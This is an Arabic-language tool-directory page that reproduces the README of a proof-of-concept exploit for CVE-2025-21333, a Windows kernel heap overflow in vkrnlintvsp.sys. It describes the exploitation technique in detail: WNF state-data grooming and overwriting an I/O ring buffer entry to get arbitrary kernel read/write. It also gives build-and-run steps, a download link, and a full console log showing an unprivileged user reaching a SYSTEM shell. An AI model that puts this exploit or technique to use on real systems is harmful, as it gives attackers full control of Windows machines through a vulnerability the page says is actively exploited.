Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-21333-POC — استغلال POC لثغرة CVE-2025-21333 الخاصة بتجاوز سعة المخزن المؤقت القائمة على الكومة. يستفيد من بيانات حالة WNF وI/O ring IOP_MC_BUFFER_ENTRY. | Kitploit
أدوات/GitHubGitHub/mrale98/cve-2025-21333-poc
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالما بعد الاستغلالاستغلال الملفات الثنائية
GitHubmrale98/cve-2025-21333-poc

CVE-2025-21333-POC

استغلال POC لثغرة CVE-2025-21333 الخاصة بتجاوز سعة المخزن المؤقت القائمة على الكومة. يستفيد من بيانات حالة WNF وI/O ring IOP_MC_BUFFER_ENTRY.

عرض المستودع
23236منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-21333-POC

إثبات مفهوم يستغل CVE-2025-21333 في vkrnlintvsp.sys (ليس موثوقًا جدًا، انظر قسم المتطلبات والقيود). توجد تحت قسم المراجع موارد مفيدة جدًا لمن يريد التجربة مع هذا الاستغلال.

تحليل مفصّل للثغرة والاستغلال متاح هنا.

تم رصد استغلال هذه الثغرة بنشاط من قبل جهات تهديدية.

تم اختباره على Windows 11 23h2.

قد يعمل أيضًا على Windows 11 24h2 لكنني لم أختبره.

في الأسفل قيمة التجزئة (hash) لملفّي ntoskrnl.exe و vkrnlintvsp.sys اللذين استُخدما لاختبار إثبات المفهوم.

root@kitploit:~
PS C:\Windows\System32\drivers> get-filehash .\vkrnlintvsp.sys

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77       C:\Windows\System32\drivers\v...

PS C:\Windows\System32\drivers>
root@kitploit:~
PS C:\Windows\System32> Get-FileHash ntoskrnl.exe

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473       C:\Windows\System32\ntoskrnl.exe

PS C:\Windows\System32>

الكتابة فوق مدخل المخزن المؤقت لـ I/O Ring للحصول على قراءة/كتابة عشوائية

لا يستخدم NtQuerySystemInformation لتسريب عناوين النواة ولا PreviousMode للحصول على قراءة/كتابة عشوائية.

بدلًا من ذلك، يقوم بتخصيص مصفوفة من المؤشرات إلى _IOP_MC_BUFFER_ENTRY في Paged Pool ويستبدل المؤشر الأول بمؤشر ضار IOP_MC_BUFFER_ENTRY* يقع في مساحة المستخدم. باستخدام BuildIoRingWriteFile()/BuildIoRingReadFile() يمكن الحصول على قراءة/كتابة عشوائية في النواة.

مصفوفة المؤشرات إلى _IOP_MC_BUFFER_ENTRY هي كائن يحمل PoolTag IrRB.

تختلف هذه التقنية قليلًا عن تلك التي وثّقها Yarden Shafir هنا. فبدلًا من السيطرة على المصفوفة بأكملها المشار إليها بواسطة _IORING_OBJECT.RegBuffers، تسيطر هذه التقنية على مدخل واحد فقط من المصفوفة المشار إليها بواسطة _IORING_OBJECT.RegBuffers.

بما أن حجم مصفوفة المؤشرات يمكن التحكم فيه من قبل المستخدم، فهذا يعني أنه يمكن استخدامها للحصول على قراءة/كتابة عشوائية موثوقة في ring0 انطلاقًا من تجاوزات الكومة (heap-overflows) وحالات استخدام الذاكرة بعد تحريرها (UAFs) لعدة مجموعات (buckets) من نوع LFH.

لا أعلم إن كان أحد قد شارك هذه التقنية سابقًا لاستغلال التجاوزات أو حالات UAF في Paged Pool.

تم التقاط لقطات الشاشة هذه بعد تنفيذ إثبات المفهوم. كان التجاوز في المجموعة (bucket) المخصصة لحجم الكائن 0x50. لاحظ أنه كان من الممكن تخصيص مصفوفة RegBuffers في تلك المجموعة، وكان المؤشر الأول يشير إلى ذاكرة في مساحة المستخدم.

image

لاحظ أن المدخل الضار يضبط Address على كائن process. ويتوافق Address مع العنوان العشوائي الذي قد نرغب في القراءة منه/الكتابة إليه (وهذا موصوف جيدًا بالفعل في مقالة Yarden Shafir).

image

المتطلبات والقيود

من الضروري تفعيل ميزة Windows Sandbox بحيث تتم معالجة استدعاءات النظام (syscalls) المعرضة للخطر بواسطة برنامج التشغيل (driver) المعرض للخطر.

image

تمكنت من الحصول على تجاوز بحجم 0xfff0 بايت. لم أتمكن من جعل طول التجاوز قابلًا للتحكم بالكامل. قد ترى تعطلًا (crash) إذا كان التجاوز أكبر من المقطع الفرعي (subsegment) (وقد يحدث هذا كثيرًا). ربما عن طريق رش المزيد من الكائنات (spraying) يمكن تقليل هذا السلوك.

يقوم إثبات المفهوم بتحرير كائني بيانات حالة WNF (WNF state data) لإعادة تخصيص في تلك المواضع: regBuffer (مصفوفة من المؤشرات إلى _IOP_MC_BUFFER_ENTRY مرتبطة بكائن IORING_OBJECT) و PipeAttribute. أحيانًا، بين التحرير وإعادة التخصيص، قد يحدث أن يتم تخصيص كائن آخر في ذلك الموضع بواسطة برنامج تشغيل آخر. سيكون من الممكن استخدام كائنات بيانات حالة WNF التالفة الأخرى في حلقة while لتنفيذ محاولات إعادة تخصيص متعددة وزيادة احتمالية الحصول على التخطيط المطلوب.

كود إثبات المفهوم فوضوي إلى حد ما.

بعد الحصول على صلاحيات النظام، من الأفضل الخروج من شل النظام بكتابة exit في الطرفية وإلا سينهار الجهاز.

التجميع والتشغيل

قم بتجميع نسخة Release بإعدادات x64.

شغّل البرنامج واحصل على شل النظام.

root@kitploit:~
PS C:\Users\unpriv> .\CVE-2025-21333-POC.exe
Preparing...
[*] fNtCreateCrossVmEvent = 00007FFD6BC31690
[*] fNtQueryInformationProcess = 00007FFD6BC304E0
[!] WindowsSandboxClient.exe process not found
[*] spawning windows sandbox
[*] CreateProcessA returned successfully
[*] NtQueryInformationProcess returned successfully
[*] peb_addr = 0000000100335000
[*] ReadProcessMemory returned successfully
[*] ProcessParameters = 00000147B06A6430
[*] ReadProcessMemory returned successfully
[*] CommandLine = 00000147B06A6ADA
[*] CommandLine_size = 3f0
[*] commandline = C:\Windows\system32\WindowsSandboxClient.exe <ContainerId>19a1ef14-ee35-47d8-8bdb-cf4c86272272</ContainerId><AccountUser>WDAGUtilityAccount</AccountUser><AccountPassword>66387310-a27d-4a59-a688-3ab018388c9e</AccountPassword><AudioInputEnabled>true</AudioInputEnabled><ClipboardRedirectionEnabled>true</ClipboardRedirectionEnabled><RebootSupported>true</RebootSupported><SmartCardRedirectionEnabled>false</SmartCardRedirectionEnabled><FullScreenMode>false</FullScreenMode><TargetDisplay>0</TargetDisplay>
[*] extracted guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
[*] s_guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
Created GUID
extracted guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72  ....5..G...L.'"r


guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72  ....5..G...L.'"r


Triggering vuln creating crossvmevent...
max corrupted WNF
state: a18d294541c64e6d val: 0  dataSize: 10040
calling NtqueryWnfStateData on max_corrupted with max_corrupted->state a18d2945a18d2945 and datasize10040
buffer content
[+] found WNF to be freed and replaced with RegBuffers
offset 30
[+] found WNF to be freed and replaced with PipeAttribute
offset2 80
updating regBuffersControllerWNF
calling NtUpdateWnfStateData on tokenReaderWNF->state a18d2945a18d2945 and datasize10040
calling NtUpdateWnfStateData returned successfully
[*] retrieving WNF with content 0x4343434343434343
[*] retrieving WNF with content 0x4444444444444444
searching in statenames2
found corrupted WNF: a18d514541c64e6dval: 4343434343434343
found corrupted WNF: a18d614541c64e6dval: 4444444444444444
found1 1 found2 1
found1 1 found2 1
found1 1 found2 1
0x000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000030: 00 00 05 0b 49 72 52 42 64 b9 76 d3 e4 ff d1 c6  ....IrRBd.v.....
0x000040: a0 a1 b1 f1 09 e3 ff ff 00 00 00 00 00 00 00 00  ................
0x000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000080: 00 00 05 03 4e 70 41 74 00 00 00 00 00 00 00 00  ....NpAt........
0x000090: d0 01 2b 47 0a d1 ff ff d0 01 2b 47 0a d1 ff ff  ..+G......+G....
0x0000a0: 38 81 2a 4d 0a d1 ff ff 16 00 00 00 00 00 00 00  8.*M............
0x0000b0: 3a 81 2a 4d 0a d1 ff ff 5a 00 41 41 41 41 41 41  :.*M....Z.AAAAAA
0x0000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0x0000d0: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42  ....Wnf BBBBBBBB
0x0000e0: 00 00 00 00 50 ff 00 00 50 ff 00 00 01 00 00 00  ....P...P.......
0x0000f0: 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000120: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42  ....Wnf BBBBBBBB
0x000130: 00 00 00 00 00 ff 00 00 00 ff 00 00 01 00 00 00  ................
0x000140: 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................


[+] regBuffers found and can be overwritten
[+] pipeAttribute found and can be read
[*] original_regBufferEntry: ffffe309f1b1a1a0
[*] pipeAttributeFlink: ffffd10a472b01d0
[+] found target handle
[*] targetHandle: 00000211216BC4D0
[*] ioring index: 425
[*] fileObject: ffffe309f134d7e0
[*] base of npfs.sys: fffff80631660000
[*] base of ntoskrnl.exe: fffff80628c00000
[*] system EPROCESS: ffffe309ea4c2040
[*] system TOKEN: ffffd10a3a246040
[*] curpid: 21c8
Microsoft Windows [Version 10.0.22631.4460]
(c) Microsoft Corporation. All rights reserved.

C:\Users\unpriv>whoami
nt authority\system

C:\Users\unpriv>exit
calling NtUpdateWnfStateData returned successfully
PS C:\Users\unpriv>

المراجع

  • https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
  • https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/
  • https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/

شكر وتقدير

  • @cbayet
  • @paulfariello
  • @alexjplaskett
  • @yarden_shafir
تنزيل الأداة